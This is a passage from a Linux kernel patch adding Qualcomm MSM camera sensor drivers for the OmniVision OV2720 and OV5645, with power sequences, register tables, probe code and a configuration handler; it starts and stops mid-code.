FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#define OV2720_SENSOR_NAME "ov2720" +DEFINE_MSM_MUTEX(ov2720_mut); + +static struct msm_sensor_ctrl_t ov2720_s_ctrl; + +static struct msm_sensor_power_setting ov2720_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 30, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct v4l2_subdev_info ov2720_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_SBGGR10_1X10, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static const struct i2c_device_id ov2720_i2c_id[] = { + {OV2720_SENSOR_NAME, (kernel_ulong_t)&ov2720_s_ctrl}, + { } +}; + +static int32_t msm_ov2720_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &ov2720_s_ctrl); +} + +static struct i2c_driver ov2720_i2c_driver = { + .id_table = ov2720_i2c_id, + .probe = msm_ov2720_i2c_probe, + .driver = { + .name = OV2720_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client ov2720_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id ov2720_dt_match[] = { + {.compatible = "qcom,ov2720", .data = &ov2720_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, ov2720_dt_match); + +static struct platform_driver ov2720_platform_driver = { + .driver = { + .name = "qcom,ov2720", + .owner = THIS_MODULE, + .of_match_table = ov2720_dt_match, + }, +}; + +static int32_t ov2720_platform_probe(struct platform_device *pdev) +{ + int32_t rc = 0; + const struct of_device_id *match; + match = of_match_device(ov2720_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static int __init ov2720_init_module(void) +{ + int32_t rc = 0; + pr_info("%s:%d\n", __func__, __LINE__); + rc = platform_driver_probe(&ov2720_platform_driver, + ov2720_platform_probe); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&ov2720_i2c_driver); +} + +static void __exit ov2720_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (ov2720_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&ov2720_s_ctrl); + platform_driver_unregister(&ov2720_platform_driver); + } else + i2c_del_driver(&ov2720_i2c_driver); + return; +} + +static struct msm_sensor_ctrl_t ov2720_s_ctrl = { + .sensor_i2c_client = &ov2720_sensor_i2c_client, + .power_setting_array.power_setting = ov2720_power_setting, + .power_setting_array.size = ARRAY_SIZE(ov2720_power_setting), + .msm_sensor_mutex = &ov2720_mut, + .sensor_v4l2_subdev_info = ov2720_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(ov2720_subdev_info), +}; + +module_init(ov2720_init_module); +module_exit(ov2720_exit_module); +MODULE_DESCRIPTION("ov2720"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5645.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5645.c new file mode 100755 index 0000000000000..7b84d8392571b --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov5645.c @@ -0,0 +1,958 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#include "msm_cci.h" +#include "msm_camera_io_util.h" +#define OV5645_SENSOR_NAME "ov5645" +#define PLATFORM_DRIVER_NAME "msm_camera_ov5645" +#define ov5645_obj ov5645_##obj + +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + + +DEFINE_MSM_MUTEX(ov5645_mut); +static struct msm_sensor_ctrl_t ov5645_s_ctrl; + +static struct msm_sensor_power_setting ov5645_power_setting[] = { + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VDIG, + .config_val = 0, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 1, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 10, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 10, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, + +}; + +static struct msm_camera_i2c_reg_conf ov5645_sxga_settings[] = { + {0x3612, 0xa9,}, + {0x3614, 0x50,}, + {0x3618, 0x00,}, + {0x3034, 0x18,}, + {0x3035, 0x21,}, + {0x3036, 0x70,}, + {0x3600, 0x09,}, + {0x3601, 0x43,}, + {0x3708, 0x66,}, + {0x370c, 0xc3,}, + {0x3800, 0x00,}, + {0x3801, 0x00,}, + {0x3802, 0x00,}, + {0x3803, 0x06,}, + {0x3804, 0x0a,}, + {0x3805, 0x3f,}, + {0x3806, 0x07,}, + {0x3807, 0x9d,}, + {0x3808, 0x05,}, + {0x3809, 0x00,}, + {0x380a, 0x03,}, + {0x380b, 0xc0,}, + {0x380c, 0x07,}, + {0x380d, 0x68,}, + {0x380e, 0x03,}, + {0x380f, 0xd8,}, + {0x3813, 0x06,}, + {0x3814, 0x31,}, + {0x3815, 0x31,}, + {0x3820, 0x47,}, + {0x3a02, 0x03,}, + {0x3a03, 0xd8,}, + {0x3a08, 0x01,}, + {0x3a09, 0xf8,}, + {0x3a0a, 0x01,}, + {0x3a0b, 0xa4,}, + {0x3a0e, 0x02,}, + {0x3a0d, 0x02,}, + {0x3a14, 0x03,}, + {0x3a15, 0xd8,}, + {0x3a18, 0x00,}, + {0x4004, 0x02,}, + {0x4005, 0x18,}, + {0x4300, 0x30,}, + {0x4202, 0x00,}, + +}; + +static struct msm_camera_i2c_reg_conf ov5645_full_settings[] = { + {0x3612, 0xab,}, + {0x3614, 0x50,}, + {0x3618, 0x04,}, + {0x3034, 0x18,}, + {0x3035, 0x11,}, + {0x3036, 0x54,}, + {0x3600, 0x08,}, + {0x3601, 0x33,}, + {0x3708, 0x63,}, + {0x370c, 0xc0,}, + {0x3800, 0x00,}, + {0x3801, 0x00,}, + {0x3802, 0x00,}, + {0x3803, 0x00,}, + {0x3804, 0x0a,}, + {0x3805, 0x3f,}, + {0x3806, 0x07,}, + {0x3807, 0x9f,}, + {0x3808, 0x0a,}, + {0x3809, 0x20,}, + {0x380a, 0x07,}, + {0x380b, 0x98,}, + {0x380c, 0x0b,}, + {0x380d, 0x1c,}, + {0x380e, 0x07,}, + {0x380f, 0xb0,}, + {0x3813, 0x06,}, + {0x3814, 0x11,}, + {0x3815, 0x11,}, + {0x3820, 0x47,}, + {0x4514, 0x88,}, + {0x3a02, 0x07,}, + {0x3a03, 0xb0,}, + {0x3a08, 0x01,}, + {0x3a09, 0x27,}, + {0x3a0a, 0x00,}, + {0x3a0b, 0xf6,}, + {0x3a0e, 0x06,}, + {0x3a0d, 0x08,}, + {0x3a14, 0x07,}, + {0x3a15, 0xb0,}, + {0x3a18, 0x01,}, + {0x4004, 0x06,}, + {0x4005, 0x18,}, + {0x4300, 0x30,}, + {0x4837, 0x0b,}, + {0x4202, 0x00,}, +}; + +static struct msm_camera_i2c_reg_conf ov5645_1080P_settings[] = { + {0x3612, 0xab,}, + {0x3614, 0x50,}, + {0x3618, 0x04,}, + {0x3034, 0x18,}, + {0x3035, 0x11,}, + {0x3036, 0x54,}, + {0x3600, 0x08,}, + {0x3601, 0x33,}, + {0x3708, 0x63,}, + {0x370c, 0xc0,}, + {0x3800, 0x01,}, + {0x3801, 0x50,}, + {0x3802, 0x01,}, + {0x3803, 0xb2,}, + {0x3804, 0x08,}, + {0x3805, 0xef,}, + {0x3806, 0x05,}, + {0x3807, 0xf1,}, + {0x3808, 0x07,}, + {0x3809, 0x80,}, + {0x380a, 0x04,}, + {0x380b, 0x38,}, + {0x380c, 0x09,}, + {0x380d, 0xc4,}, + {0x380e, 0x04,}, + {0x380f, 0x60,}, + {0x3813, 0x04,}, + {0x3814, 0x11,}, + {0x3815, 0x11,}, + {0x3820, 0x47,}, + {0x4514, 0x88,}, + {0x3a02, 0x04,}, + {0x3a03, 0x60,}, + {0x3a08, 0x01,}, + {0x3a09, 0x50,}, + {0x3a0a, 0x01,}, + {0x3a0b, 0x18,}, + {0x3a0e, 0x03,}, + {0x3a0d, 0x04,}, + {0x3a14, 0x04,}, + {0x3a15, 0x60,}, + {0x3a18, 0x00,}, + {0x4004, 0x06,}, + {0x4005, 0x18,}, + {0x4300, 0x30,}, + {0x4202, 0x00,}, + {0x4837, 0x0b,}, +}; + + +static struct msm_camera_i2c_reg_conf ov5645_recommend_settings[] = { + {0x3103, 0x11,}, + {0x3008, 0x82,}, + {0x3008, 0x42,}, + {0x3103, 0x03,}, + {0x3503, 0x07,}, + {0x3002, 0x1c,}, + {0x3006, 0xc3,}, + {0x300e, 0x45,}, + {0x3017, 0x00,}, + {0x3018, 0x00,}, + {0x302e, 0x0b,}, + {0x3037, 0x13,}, + {0x3108, 0x01,}, + {0x3611, 0x06,}, + {0x3500, 0x00,}, + {0x3501, 0x01,}, + {0x3502, 0x00,}, + {0x350a, 0x00,}, + {0x350b, 0x3f,}, + {0x3620, 0x33,}, + {0x3621, 0xe0,}, + {0x3622, 0x01,}, + {0x3630, 0x2e,}, + {0x3631, 0x00,}, + {0x3632, 0x32,}, + {0x3633, 0x52,}, + {0x3634, 0x70,}, + {0x3635, 0x13,}, + {0x3636, 0x03,}, + {0x3703, 0x5a,}, + {0x3704, 0xa0,}, + {0x3705, 0x1a,}, + {0x3709, 0x12,}, + {0x370b, 0x61,}, + {0x370f, 0x10,}, + {0x3715, 0x78,}, + {0x3717, 0x01,}, + {0x371b, 0x20,}, + {0x3731, 0x12,}, + {0x3901, 0x0a,}, + {0x3905, 0x02,}, + {0x3906, 0x10,}, + {0x3719, 0x86,}, + {0x3810, 0x00,}, + {0x3811, 0x10,}, + {0x3812, 0x00,}, + {0x3821, 0x01,}, + {0x3824, 0x01,}, + {0x3826, 0x03,}, + {0x3828, 0x08,}, + {0x3a19, 0xf8,}, + {0x3c01, 0x34,}, + {0x3c04, 0x28,}, + {0x3c05, 0x98,}, + {0x3c07, 0x07,}, + {0x3c09, 0xc2,}, + {0x3c0a, 0x9c,}, + {0x3c0b, 0x40,}, + {0x3c01, 0x34,}, + {0x4001, 0x02,}, + {0x4514, 0x00,}, + {0x4520, 0xb0,}, + {0x460b, 0x37,}, + {0x460c, 0x20,}, + {0x4818, 0x01,}, + {0x481d, 0xf0,}, + {0x481f, 0x50,}, + {0x4823, 0x70,}, + {0x4831, 0x14,}, + {0x5000, 0xa7,}, + {0x5001, 0x83,}, + {0x501d, 0x00,}, + {0x501f, 0x00,}, + {0x503d, 0x00,}, + {0x505c, 0x30,}, + {0x5181, 0x59,}, + {0x5183, 0x00,}, + {0x5191, 0xf0,}, + {0x5192, 0x03,}, + {0x5684, 0x10,}, + {0x5685, 0xa0,}, + {0x5686, 0x0c,}, + {0x5687, 0x78,}, + {0x5a00, 0x08,}, + {0x5a21, 0x00,}, + {0x5a24, 0x00,}, + {0x3008, 0x02,}, + {0x3503, 0x00,}, + {0x5180, 0xff,}, + {0x5181, 0xf2,}, + {0x5182, 0x00,}, + {0x5183, 0x14,}, + {0x5184, 0x25,}, + {0x5185, 0x24,}, + {0x5186, 0x09,}, + {0x5187, 0x09,}, + {0x5188, 0x0a,}, + {0x5189, 0x75,}, + {0x518a, 0x52,}, + {0x518b, 0xea,}, + {0x518c, 0xa8,}, + {0x518d, 0x42,}, + {0x518e, 0x38,}, + {0x518f, 0x56,}, + {0x5190, 0x42,}, + {0x5191, 0xf8,}, + {0x5192, 0x04,}, + {0x5193, 0x70,}, + {0x5194, 0xf0,}, + {0x5195, 0xf0,}, + {0x5196, 0x03,}, + {0x5197, 0x01,}, + {0x5198, 0x04,}, + {0x5199, 0x12,}, + {0x519a, 0x04,}, + {0x519b, 0x00,}, + {0x519c, 0x06,}, + {0x519d, 0x82,}, + {0x519e, 0x38,}, + {0x5381, 0x1e,}, + {0x5382, 0x5b,}, + {0x5383, 0x08,}, + {0x5384, 0x0a,}, + {0x5385, 0x7e,}, + {0x5386, 0x88,}, + {0x5387, 0x7c,}, + {0x5388, 0x6c,}, + {0x5389, 0x10,}, + {0x538a, 0x01,}, + {0x538b, 0x98,}, + {0x5300, 0x08,}, + {0x5301, 0x30,}, + {0x5302, 0x10,}, + {0x5303, 0x00,}, + {0x5304, 0x08,}, + {0x5305, 0x30,}, + {0x5306, 0x08,}, + {0x5307, 0x16,}, + {0x5309, 0x08,}, + {0x530a, 0x30,}, + {0x530b, 0x04,}, + {0x530c, 0x06,}, + {0x5480, 0x01,}, + {0x5481, 0x08,}, + {0x5482, 0x14,}, + {0x5483, 0x28,}, + {0x5484, 0x51,}, + {0x5485, 0x65,}, + {0x5486, 0x71,}, + {0x5487, 0x7d,}, + {0x5488, 0x87,}, + {0x5489, 0x91,}, + {0x548a, 0x9a,}, + {0x548b, 0xaa,}, + {0x548c, 0xb8,}, + {0x548d, 0xcd,}, + {0x548e, 0xdd,}, + {0x548f, 0xea,}, + {0x5490, 0x1d,}, + {0x5580, 0x02,}, + {0x5583, 0x40,}, + {0x5584, 0x10,}, + {0x5589, 0x10,}, + {0x558a, 0x00,}, + {0x558b, 0xf8,}, + {0x5800, 0x3f,}, + {0x5801, 0x16,}, + {0x5802, 0x0e,}, + {0x5803, 0x0d,}, + {0x5804, 0x17,}, + {0x5805, 0x3f,}, + {0x5806, 0x0b,}, + {0x5807, 0x06,}, + {0x5808, 0x04,}, + {0x5809, 0x04,}, + {0x580a, 0x06,}, + {0x580b, 0x0b,}, + {0x580c, 0x09,}, + {0x580d, 0x03,}, + {0x580e, 0x00,}, + {0x580f, 0x00,}, + {0x5810, 0x03,}, + {0x5811, 0x08,}, + {0x5812, 0x0a,}, + {0x5813, 0x03,}, + {0x5814, 0x00,}, + {0x5815, 0x00,}, + {0x5816, 0x04,}, + {0x5817, 0x09,}, + {0x5818, 0x0f,}, + {0x5819, 0x08,}, + {0x581a, 0x06,}, + {0x581b, 0x06,}, + {0x581c, 0x08,}, + {0x581d, 0x0c,}, + {0x581e, 0x3f,}, + {0x581f, 0x1e,}, + {0x5820, 0x12,}, + {0x5821, 0x13,}, + {0x5822, 0x21,}, + {0x5823, 0x3f,}, + {0x5824, 0x68,}, + {0x5825, 0x28,}, + {0x5826, 0x2c,}, + {0x5827, 0x28,}, + {0x5828, 0x08,}, + {0x5829, 0x48,}, + {0x582a, 0x64,}, + {0x582b, 0x62,}, + {0x582c, 0x64,}, + {0x582d, 0x28,}, + {0x582e, 0x46,}, + {0x582f, 0x62,}, + {0x5830, 0x60,}, + {0x5831, 0x62,}, + {0x5832, 0x26,}, + {0x5833, 0x48,}, + {0x5834, 0x66,}, + {0x5835, 0x44,}, + {0x5836, 0x64,}, + {0x5837, 0x28,}, + {0x5838, 0x66,}, + {0x5839, 0x48,}, + {0x583a, 0x2c,}, + {0x583b, 0x28,}, + {0x583c, 0x26,}, + {0x583d, 0xae,}, + {0x5025, 0x00,}, + {0x3a0f, 0x30,}, + {0x3a10, 0x28,}, + {0x3a1b, 0x30,}, + {0x3a1e, 0x26,}, + {0x3a11, 0x60,}, + {0x3a1f, 0x14,}, + {0x0601, 0x02,}, + {0x3008, 0x42,}, + +}; + +static struct v4l2_subdev_info ov5645_subdev_info[] = { + { + .code = V4L2_MBUS_FMT_YUYV8_2X8, + .colorspace = V4L2_COLORSPACE_JPEG, + .fmt = 1, + .order = 0, + }, +}; + +static struct msm_camera_i2c_reg_conf ov5645_start_settings[] = { + {0x3008, 0x02,}, +}; + +static struct msm_camera_i2c_reg_conf ov5645_stop_settings[] = { + {0x3008, 0x42,}, +}; + +static struct msm_camera_i2c_reg_conf ov5645_enable_aec_settings[] = { + {0x3503, 0x00,}, + {0x3406, 0x00,}, +}; + +static struct msm_camera_i2c_reg_conf ov5645_disable_aec_settings[] = { + {0x3503, 0x07,}, + {0x3406, 0x01,}, +}; + +static const struct i2c_device_id ov5645_i2c_id[] = { + {OV5645_SENSOR_NAME, (kernel_ulong_t)&ov5645_s_ctrl}, + { } +}; + +static int32_t msm_ov5645_i2c_probe(struct i2c_client *client, + const struct i2c_device_id *id) +{ + return msm_sensor_i2c_probe(client, id, &ov5645_s_ctrl); +} + +static struct i2c_driver ov5645_i2c_driver = { + .id_table = ov5645_i2c_id, + .probe = msm_ov5645_i2c_probe, + .driver = { + .name = OV5645_SENSOR_NAME, + }, +}; + +static struct msm_camera_i2c_client ov5645_sensor_i2c_client = { + .addr_type = MSM_CAMERA_I2C_WORD_ADDR, +}; + +static const struct of_device_id ov5645_dt_match[] = { + {.compatible = "ovti,ov5645", .data = &ov5645_s_ctrl}, + {} +}; + +MODULE_DEVICE_TABLE(of, ov5645_dt_match); + +static int32_t ov5645_platform_probe(struct platform_device *pdev) +{ + int32_t rc; + const struct of_device_id *match; + match = of_match_device(ov5645_dt_match, &pdev->dev); + rc = msm_sensor_platform_probe(pdev, match->data); + return rc; +} + +static struct platform_driver ov5645_platform_driver = { + .driver = { + .name = "ovti,ov5645", + .owner = THIS_MODULE, + .of_match_table = ov5645_dt_match, + }, + .probe = ov5645_platform_probe, +}; + +static int __init ov5645_init_module(void) +{ + int32_t rc; + pr_err("%s:%d\n", __func__, __LINE__); + rc = platform_driver_register(&ov5645_platform_driver); + if (!rc) + return rc; + pr_err("%s:%d rc %d\n", __func__, __LINE__, rc); + return i2c_add_driver(&ov5645_i2c_driver); +} + +static void __exit ov5645_exit_module(void) +{ + pr_err("%s:%d\n", __func__, __LINE__); + if (ov5645_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&ov5645_s_ctrl); + platform_driver_unregister(&ov5645_platform_driver); + } else + i2c_del_driver(&ov5645_i2c_driver); + return; +} + +int32_t ov5645_sensor_config(struct msm_sensor_ctrl_t *s_ctrl, + void __user *argp) +{ + struct sensorb_cfg_data *cdata = (struct sensorb_cfg_data *)argp; + long rc = 0; + int32_t i = 0; + mutex_lock(s_ctrl->msm_sensor_mutex); + CDBG("%s:%d %s cfgtype = %d\n", __func__, __LINE__, + s_ctrl->sensordata->sensor_name, cdata->cfgtype); + switch (cdata->cfgtype) { + case CFG_GET_SENSOR_INFO: + memcpy(cdata->cfg.sensor_info.sensor_name, + s_ctrl->sensordata->sensor_name, + sizeof(cdata->cfg.sensor_info.sensor_name)); + cdata->cfg.sensor_info.session_id = + s_ctrl->sensordata->sensor_info->session_id; + for (i = 0; i < SUB_MODULE_MAX; i++) + cdata->cfg.sensor_info.subdev_id[i] = + s_ctrl->sensordata->sensor_info->subdev_id[i]; + cdata->cfg.sensor_info.is_mount_angle_valid = + s_ctrl->sensordata->sensor_info->is_mount_angle_valid; + cdata->cfg.sensor_info.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d sensor name %s\n", __func__, __LINE__, + cdata->cfg.sensor_info.sensor_name); + CDBG("%s:%d session id %d\n", __func__, __LINE__, + cdata->cfg.sensor_info.session_id); + for (i = 0; i < SUB_MODULE_MAX; i++) + CDBG("%s:%d subdev_id[%d] %d\n", __func__, __LINE__, i, + cdata->cfg.sensor_info.subdev_id[i]); + CDBG("%s:%d mount angle valid %d value %d\n", __func__, + __LINE__, cdata->cfg.sensor_info.is_mount_angle_valid, + cdata->cfg.sensor_info.sensor_mount_angle); + + break; + case CFG_SET_INIT_SETTING: + /* 1. Write Recommend settings */ + /* 2. Write change settings */ + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov5645_recommend_settings, + ARRAY_SIZE(ov5645_recommend_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + + case CFG_SET_RESOLUTION: { + /*copy from user the desired resoltuion*/ + enum msm_sensor_resolution_t res = MSM_SENSOR_INVALID_RES; + if (copy_from_user(&res, (void *)cdata->cfg.setting, + sizeof(enum msm_sensor_resolution_t))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + pr_err("%s:%d res =%d\n", __func__, __LINE__, res); + + if (res == MSM_SENSOR_RES_FULL) { + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov5645_full_settings, + ARRAY_SIZE(ov5645_full_settings), + MSM_CAMERA_I2C_BYTE_DATA); + pr_err("%s:%d res =%d\n ov5645_full_settings ", + __func__, __LINE__, res); + } else if (res == MSM_SENSOR_RES_QTR) { + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov5645_sxga_settings, + ARRAY_SIZE(ov5645_sxga_settings), + MSM_CAMERA_I2C_BYTE_DATA); + pr_err("%s:%d res =%d ov5645_sxga_settings\n", + __func__, __LINE__, res); + } else if (res == MSM_SENSOR_RES_2) { + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, + ov5645_1080P_settings, + ARRAY_SIZE(ov5645_1080P_settings), + MSM_CAMERA_I2C_BYTE_DATA); + pr_err("%s:%d res =%d ov5645_1080P_settings\n", + __func__, __LINE__, res); + } else { + pr_err("%s:%d failed resoultion set\n", __func__, + __LINE__); + rc = -EFAULT; + } + } + break; + case CFG_SET_STOP_STREAM: + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov5645_stop_settings, + ARRAY_SIZE(ov5645_stop_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + case CFG_SET_START_STREAM: + if (s_ctrl->camera_stream_type != MSM_CAMERA_STREAM_SNAPSHOT) { + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov5645_enable_aec_settings, + ARRAY_SIZE(ov5645_enable_aec_settings), + MSM_CAMERA_I2C_BYTE_DATA); + } else { + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov5645_disable_aec_settings, + ARRAY_SIZE(ov5645_disable_aec_settings), + MSM_CAMERA_I2C_BYTE_DATA); + } + if (rc) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_conf_tbl( + s_ctrl->sensor_i2c_client, ov5645_start_settings, + ARRAY_SIZE(ov5645_start_settings), + MSM_CAMERA_I2C_BYTE_DATA); + break; + case CFG_GET_SENSOR_INIT_PARAMS: + cdata->cfg.sensor_init_params.modes_supported = + s_ctrl->sensordata->sensor_info->modes_supported; + cdata->cfg.sensor_init_params.position = + s_ctrl->sensordata->sensor_info->position; + cdata->cfg.sensor_init_params.sensor_mount_angle = + s_ctrl->sensordata->sensor_info->sensor_mount_angle; + CDBG("%s:%d init params mode %d pos %d mount %d\n", __func__, + __LINE__, + cdata->cfg.sensor_init_params.modes_supported, + cdata->cfg.sensor_init_params.position, + cdata->cfg.sensor_init_params.sensor_mount_angle); + break; + case CFG_SET_SLAVE_INFO: { + struct msm_camera_sensor_slave_info sensor_slave_info; + struct msm_camera_power_ctrl_t *p_ctrl; + uint16_t size; + int slave_index = 0; + if (copy_from_user(&sensor_slave_info, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_sensor_slave_info))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + /* Update sensor slave address */ + if (sensor_slave_info.slave_addr) + s_ctrl->sensor_i2c_client->cci_client->sid = + sensor_slave_info.slave_addr >> 1; + + /* Update sensor address type */ + s_ctrl->sensor_i2c_client->addr_type = + sensor_slave_info.addr_type; + + /* Update power up / down sequence */ + p_ctrl = &s_ctrl->sensordata->power_info; + size = sensor_slave_info.power_setting_array.size; + if (p_ctrl->power_setting_size < size) { + struct msm_sensor_power_setting *tmp; + tmp = kmalloc(sizeof(struct msm_sensor_power_setting) + * size, GFP_KERNEL); + if (!tmp) { + pr_err("%s: failed to alloc mem\n", __func__); + rc = -ENOMEM; + break; + } + kfree(p_ctrl->power_setting); + p_ctrl->power_setting = tmp; + } + p_ctrl->power_setting_size = size; + + rc = copy_from_user(p_ctrl->power_setting, (void *) + sensor_slave_info.power_setting_array.power_setting, + size * sizeof(struct msm_sensor_power_setting)); + if (rc) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + CDBG("%s sensor id %x sensor addr type %d sensor reg %x\n" + "sensor id %x\n", __func__, + sensor_slave_info.slave_addr, + sensor_slave_info.addr_type, + sensor_slave_info.sensor_id_info.sensor_id_reg_addr, + sensor_slave_info.sensor_id_info.sensor_id); + for (slave_index = 0; slave_index < + p_ctrl->power_setting_size; slave_index++) { + CDBG("%s i %d power setting %d %d %ld %d\n", __func__, + slave_index, + p_ctrl->power_setting[slave_index].seq_type, + p_ctrl->power_setting[slave_index].seq_val, + p_ctrl->power_setting[slave_index].config_val, + p_ctrl->power_setting[slave_index].delay); + } + break; + } + case CFG_WRITE_I2C_ARRAY: { + struct msm_camera_i2c_reg_setting conf_array; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl->i2c_write_table( + s_ctrl->sensor_i2c_client, &conf_array); + kfree(reg_setting); + break; + } + case CFG_WRITE_I2C_SEQ_ARRAY: { + struct msm_camera_i2c_seq_reg_setting conf_array; + struct msm_camera_i2c_seq_reg_array *reg_setting = NULL; + + if (copy_from_user(&conf_array, + (void *)cdata->cfg.setting, + sizeof(struct msm_camera_i2c_seq_reg_setting))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + + reg_setting = kzalloc(conf_array.size * + (sizeof(struct msm_camera_i2c_seq_reg_array)), + GFP_KERNEL); + if (!reg_setting) { + pr_err("%s:%d failed\n", __func__, __LINE__); + rc = -ENOMEM; + break; + } + if (copy_from_user(reg_setting, (void *)conf_array.reg_setting, + conf_array.size * + sizeof(struct msm_camera_i2c_seq_reg_array))) { + pr_err("%s:%d failed\n", __func__, __LINE__); + kfree(reg_setting); + rc = -EFAULT; + break; + } + + conf_array.reg_setting = reg_setting; + rc = s_ctrl->sensor_i2c_client->i2c_func_tbl-> + i2c_write_seq_table(s_ctrl->sensor_i2c_client, + &conf_array); + kfree(reg_setting); + break; + } + + case CFG_POWER_UP: + if (s_ctrl->func_tbl->sensor_power_up) + rc = s_ctrl->func_tbl->sensor_power_up(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_POWER_DOWN: + if (s_ctrl->func_tbl->sensor_power_down) + rc = s_ctrl->func_tbl->sensor_power_down(s_ctrl); + else + rc = -EFAULT; + break; + + case CFG_SET_STOP_STREAM_SETTING: { + struct msm_camera_i2c_reg_setting *stop_setting = + &s_ctrl->stop_setting; + struct msm_camera_i2c_reg_array *reg_setting = NULL; + if (copy_from_user(stop_setting, (void *)cdata->cfg.setting, + sizeof(struct 